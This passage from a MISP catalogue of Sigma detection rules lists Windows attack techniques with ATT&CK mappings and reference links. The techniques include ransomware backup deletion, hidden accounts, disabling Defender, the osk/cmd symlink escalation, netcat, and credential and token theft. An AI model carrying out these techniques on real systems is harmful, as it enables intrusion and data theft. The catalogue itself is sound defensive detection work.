- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15409. Table References

Links
https://informationsecuritybuzz.com/the-real-danger-behind-a-simple-windows-shortcut/
https://www.virustotal.com/gui/file/f9710b0ba4de5fa0e7ec27da462d4d2fc6838eba83a19f23f6617a466bbad457
https://redcanary.com/blog/threat-intelligence/intelligence-insights-may-2025/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml

Suspicious Ping/Del Command Combination

Detects a method often used by ransomware. Which combines the "ping" to wait a couple of seconds and then "del" to delete the file in question. Its used to hide the file responsible for the initial infection for example

The tag is: *misp-galaxy:sigma-rules="Suspicious Ping/Del Command Combination"*

View relationships graph

Suspicious Ping/Del Command Combination has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 15410. Table References

Links
https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware
https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ping_del_combined_execution.yml

Hiding User Account Via SpecialAccounts Registry Key - CommandLine

Detects changes to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.

The tag is: *misp-galaxy:sigma-rules="Hiding User Account Via SpecialAccounts Registry Key - CommandLine"*

View relationships graph

Hiding User Account Via SpecialAccounts Registry Key - CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"

Table 15411. Table References

Links
https://thedfirreport.com/2024/04/01/from-onenote-to-ransomnote-an-ice-cold-intrusion/
https://thedfirreport.com/2024/04/29/from-icedid-to-dagon-locker-ransomware-in-29-days/
https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/
https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_special_accounts_hide_user.yml

Windows Defender Definition Files Removed

Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files

The tag is: *misp-galaxy:sigma-rules="Windows Defender Definition Files Removed"*

View relationships graph

Windows Defender Definition Files Removed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15412. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mpcmdrun_remove_windows_defender_definition.yml

Potential Privilege Escalation Using Symlink Between Osk and Cmd

Detects the creation of a symbolic link between "cmd.exe" and the accessibility on-screen keyboard binary (osk.exe) using "mklink". This technique provides an elevated command prompt to the user from the login screen without the need to log in.

The tag is: *misp-galaxy:sigma-rules="Potential Privilege Escalation Using Symlink Between Osk and Cmd"*

View relationships graph

Potential Privilege Escalation Using Symlink Between Osk and Cmd has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

Table 15413. Table References

Links
https://ss64.com/nt/mklink.html
https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1546.008/T1546.008.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_mklink_osk_cmd.yml

Password Provided In Command Line Of Net.EXE

Detects a when net.exe is called with a password in the command line

The tag is: *misp-galaxy:sigma-rules="Password Provided In Command Line Of Net.EXE"*

View relationships graph

Password Provided In Command Line Of Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-

language:likelihood-probability="almost-certain"

Table 15414. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_password_plaintext.yml

HackTool - CrackMapExec Execution

This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.

The tag is: *misp-galaxy:sigma-rules="HackTool - CrackMapExec Execution"*

View relationships graph

HackTool - CrackMapExec Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

Table 15415. Table References

Links
https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject
https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz
https://www.mandiant.com/resources/telegram-malware-iranian-espionage
https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_execution.yml

RunDLL32 Spawning Explorer

Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way

The tag is: *misp-galaxy:sigma-rules="RunDLL32 Spawning Explorer"*

View relationships graph

RunDLL32 Spawning Explorer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15416. Table References

Links
https://redcanary.com/blog/intelligence-insights-november-2021/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_spawn_explorer.yml

All Backups Deleted Via Wbadmin.EXE

Detects the deletion of all backups or system state backups via "wbadmin.exe". This technique is used by numerous ransomware families and actors. This may only be successful on server platforms that have Windows Backup enabled.

The tag is: *misp-galaxy:sigma-rules="All Backups Deleted Via Wbadmin.EXE"*

View relationships graph

All Backups Deleted Via Wbadmin.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 15417. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-systemstatebackup
https://www.sentinelone.com/labs/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/
https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/24/b/lockbit-attempts-to-stay-afloat-with-a-new-version/technical-appendix-lockbit-ng-dev-analysis.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wbadmin_delete_all_backups.yml

PUA - Advanced Port Scanner Execution

Detects the use of Advanced Port Scanner.

The tag is: *misp-galaxy:sigma-rules="PUA - Advanced Port Scanner Execution"*

View relationships graph

PUA - Advanced Port Scanner Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

Table 15418. Table References

Links
https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20Port%20Scanner
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advanced_port_scanner.yml

HackTool - SecurityXploded Execution

Detects the execution of SecurityXploded Tools

The tag is: *misp-galaxy:sigma-rules="HackTool - SecurityXploded Execution"*

View relationships graph

HackTool - SecurityXploded Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

Table 15419. Table References

Links
https://securityxploded.com/

https://web.archive.org/web/20200601000524/https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_secutyxploded.yml

Browser Started with Remote Debugging

Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks

The tag is: *misp-galaxy:sigma-rules="Browser Started with Remote Debugging"*

View relationships graph

Browser Started with Remote Debugging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

Table 15420. Table References

Links
https://github.com/wunderwuzzi23/firefox-cookiemonster
https://github.com/defaultnamehere/cookie_crimes/
https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf
https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_remote_debugging.yml

Renamed Microsoft Teams Execution

Detects the execution of a renamed Microsoft Teams binary.

The tag is: *misp-galaxy:sigma-rules="Renamed Microsoft Teams Execution"*

Table 15421. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msteams.yml

Renamed MegaSync Execution

Detects the execution of a renamed MegaSync.exe as seen used by ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.

The tag is: *misp-galaxy:sigma-rules="Renamed MegaSync Execution"*

View relationships graph

Renamed MegaSync Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15422. Table References

Links
https://redcanary.com/blog/rclone-mega-extortion/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_megasync.yml

Renamed AutoIt Execution

Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe. AutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks. Attackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious.

The tag is: *misp-galaxy:sigma-rules="Renamed AutoIt Execution"*

View relationships graph

Renamed AutoIt Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15423. Table References

Links
https://www.autoitscript.com/site/
https://twitter.com/malmoeb/status/1665463817130725378?s=12&t=C0_T_re0wRP_NfKa27Xw9w
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_autoit.yml

Potential Memory Dumping Activity Via LiveKD

Detects execution of LiveKD based on PE metadata or image name

The tag is: *misp-galaxy:sigma-rules="Potential Memory Dumping Activity Via LiveKD"*

Table 15424. Table References

Links

https://learn.microsoft.com/en-us/sysinternals/downloads/livekd
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_livekd_execution.yml

Suspicious MsiExec Embedding Parent

Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads

The tag is: *misp-galaxy:sigma-rules="Suspicious MsiExec Embedding Parent"*

View relationships graph

Suspicious MsiExec Embedding Parent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

Table 15425. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_embedding.yml

Kavremover Dropped Binary LOLBIN Usage

Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries.

The tag is: *misp-galaxy:sigma-rules="Kavremover Dropped Binary LOLBIN Usage"*

View relationships graph

Kavremover Dropped Binary LOLBIN Usage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15426. Table References

Links
https://nasbench.medium.com/lolbined-using-kaspersky-endpoint-security-kes-installer-to-execute-arbitrary-commands-1c999f1b7fea
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_kavremover_uncommon_execution.yml

Renamed NetSupport RAT Execution

Detects the execution of a renamed "client32.exe" (NetSupport RAT) via Imphash, Product and OriginalFileName strings

The tag is: *misp-galaxy:sigma-rules="Renamed NetSupport RAT Execution"*

Table 15427. Table References

Links
https://redcanary.com/blog/misbehaving-rats/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_netsupport_rat.yml

PUA - Netcat Suspicious Execution

Detects execution of Netcat. Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network

The tag is: *misp-galaxy:sigma-rules="PUA - Netcat Suspicious Execution"*

View relationships graph

PUA - Netcat Suspicious Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

Table 15428. Table References

Links
https://www.revshells.com/
https://nmap.org/ncat/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_netcat.yml

MMC20 Lateral Movement

Detects MMC20.Application Lateral Movement; specifically looks for the spawning of the parent MMC.exe with a command line of "-Embedding" as a child of svchost.exe

The tag is: *misp-galaxy:sigma-rules="MMC20 Lateral Movement"*

View relationships graph

MMC20 Lateral Movement has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 15429. Table References

Links
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view?usp=sharing
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement.yml

Start Windows Service Via Net.EXE

Detects the usage of the "net.exe" command to start a service using the "start" flag

The tag is: *misp-galaxy:sigma-rules="Start Windows Service Via Net.EXE"*

View relationships graph

Start Windows Service Via Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 15430. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.002/T1569.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_start_service.yml

Shadow Copies Creation Using Operating Systems Utilities

Shadow Copies creation using operating systems utilities, possible credential access

The tag is: *misp-galaxy:sigma-rules="Shadow Copies Creation Using Operating Systems Utilities"*

View relationships graph

Shadow Copies Creation Using Operating Systems Utilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 15431. Table References

Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shadow_copies_creation.yml

DLL Sideloading by VMware Xfer Utility

Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL

The tag is: *misp-galaxy:sigma-rules="DLL Sideloading by VMware Xfer Utility"*

View relationships graph

DLL Sideloading by VMware Xfer Utility has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 15432. Table References

Links
https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml

SQLite Firefox Profile Data DB Access

Detect usage of the "sqlite" binary to query databases in Firefox and other Gecko-based browsers for potential data stealing.

The tag is: *misp-galaxy:sigma-rules="SQLite Firefox Profile Data DB Access"*

View relationships graph

SQLite Firefox Profile Data DB Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 15433. Table References

Links
https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_firefox_gecko_profile_data.yml

Conhost.exe CommandLine Path Traversal

detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking

The tag is: *misp-galaxy:sigma-rules="Conhost.exe CommandLine Path Traversal"*

View relationships graph

Conhost.exe CommandLine Path Traversal has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 15434. Table References

Links
https://pentestlab.blog/2020/07/06/indirect-command-execution/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_path_traversal.yml

Renamed ZOHO Dctask64 Execution

Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution.

The tag is: *misp-galaxy:sigma-rules="Renamed ZOHO Dctask64 Execution"*

View relationships graph

Renamed ZOHO Dctask64 Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15435. Table References

Links
https://twitter.com/gN3mes1s/status/1222095963789111296
https://twitter.com/gN3mes1s/status/1222088214581825540
https://twitter.com/gN3mes1s/status/1222095371175911424
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_dctask64.yml

Suspicious HWP Sub Processes

Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation

The tag is: *misp-galaxy:sigma-rules="Suspicious HWP Sub Processes"*

View relationships graph

Suspicious HWP Sub Processes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 15436. Table References

Links
https://en.wikipedia.org/wiki/Hangul_(word_processor)
https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/
https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1
https://blog.alyac.co.kr/1901

https://twitter.com/cyberwar_15/status/1187287262054076416
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml

Process Memory Dump via RdrLeakDiag.EXE

Detects the use of the Microsoft Windows Resource Leak Diagnostic tool "rdrleakdiag.exe" to dump process memory

The tag is: *misp-galaxy:sigma-rules="Process Memory Dump via RdrLeakDiag.EXE"*

View relationships graph

Process Memory Dump via RdrLeakDiag.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15437. Table References

Links
https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/
https://twitter.com/0gtweet/status/1299071304805560321?s=21
https://news.sophos.com/en-us/2024/06/05/operation-crimson-palace-a-technical-deep-dive
https://www.pureid.io/dumping-abusing-windows-credentials-part-1/
https://lolbas-project.github.io/lolbas/Binaries/Rdrleakdiag/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rdrleakdiag_process_dumping.yml

PUA- IOX Tunneling Tool Execution

Detects the use of IOX - a tool for port forwarding and intranet proxy purposes

The tag is: *misp-galaxy:sigma-rules="PUA- IOX Tunneling Tool Execution"*

View relationships graph

PUA- IOX Tunneling Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 15438. Table References

Links
https://github.com/EddieIvan01/iox

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_iox.yml

Xwizard.EXE Execution From Non-Default Location

Detects the execution of Xwizard tool from a non-default directory. When executed from a non-default directory, this utility can be abused in order to side load a custom version of "xwizards.dll".

The tag is: *misp-galaxy:sigma-rules="Xwizard.EXE Execution From Non-Default Location"*

View relationships graph

Xwizard.EXE Execution From Non-Default Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 15439. Table References

Links
http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/
https://lolbas-project.github.io/lolbas/Binaries/Xwizard/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xwizard_execution_non_default_location.yml

Active Directory Structure Export Via Ldifde.EXE

Detects the execution of "ldifde.exe" in order to export organizational Active Directory structure.

The tag is: *misp-galaxy:sigma-rules="Active Directory Structure Export Via Ldifde.EXE"*

Table 15440. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)
https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html
https://businessinsights.bitdefender.com/deep-dive-into-a-backdoordiplomacy-attack-a-study-of-an-attackers-toolkit
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_export.yml

Add SafeBoot Keys Via Reg Utility

Detects execution of "reg.exe" commands with the "add" or "copy" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do

not

The tag is: *misp-galaxy:sigma-rules="Add SafeBoot Keys Via Reg Utility"*

View relationships graph

Add SafeBoot Keys Via Reg Utility has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15441. Table References

Links
https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_safeboot.yml

File Download Using ProtocolHandler.exe

Detects usage of "ProtocolHandler" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)

The tag is: *misp-galaxy:sigma-rules="File Download Using ProtocolHandler.exe"*

View relationships graph

File Download Using ProtocolHandler.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15442. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md
https://lolbas-project.github.io/lolbas/OtherMSBinaries/ProtocolHandler/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_protocolhandler_download.yml

Mshtml.DLL RunHTMLApplication Suspicious Usage

Detects execution of commands that leverage the "mshtml.dll" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, http...)

The tag is: *misp-galaxy:sigma-rules="Mshtml.DLL RunHTMLApplication Suspicious Usage"*

Table 15443. Table References

Links
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt
https://twitter.com/n1nj4sec/status/1421190238081277959
http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_mshtml_runhtmlapplication.yml

Ping Hex IP

Detects a ping command that uses a hex encoded IP address

The tag is: *misp-galaxy:sigma-rules="Ping Hex IP"*

View relationships graph

Ping Hex IP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15444. Table References

Links
https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna
https://twitter.com/vysecurity/status/977198418354491392
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ping_hex_ip.yml

Suspicious Response File Execution Via Odbcconf.EXE

Detects execution of "odbcconf" with the "-f" flag in order to load a response file with a non-".rsp" extension.

The tag is: *misp-galaxy:sigma-rules="Suspicious Response File Execution Via Odbcconf.EXE"*

View relationships graph

Suspicious Response File Execution Via Odbcconf.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

Table 15445. Table References

Links
https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16
https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_response_file_susp.yml

Uncommon Child Processes Of SndVol.exe

Detects potentially uncommon child processes of SndVol.exe (the Windows volume mixer)

The tag is: *misp-galaxy:sigma-rules="Uncommon Child Processes Of SndVol.exe"*

Table 15446. Table References

Links
https://twitter.com/Max_Mal_/status/1661322732456353792
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sndvol_susp_child_processes.yml

Potentially Suspicious Command Targeting Teams Sensitive Files

Detects a commandline containing references to the Microsoft Teams database or cookies files from a process other than Teams. The database might contain authentication tokens and other sensitive information about the logged in accounts.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Command Targeting Teams Sensitive Files"*

View relationships graph

Potentially Suspicious Command Targeting Teams Sensitive Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

Table 15447. Table References

Links
https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens
https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml

Arbitrary File Download Via MSEDGE_PROXY.EXE

Detects usage of "msedge_proxy.exe" to download arbitrary files

The tag is: *misp-galaxy:sigma-rules="Arbitrary File Download Via MSEDGE_PROXY.EXE"*

View relationships graph

Arbitrary File Download Via MSEDGE_PROXY.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15448. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/msedge_proxy/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_proxy_download.yml

Remote Access Tool - Potential MeshAgent Execution - Windows

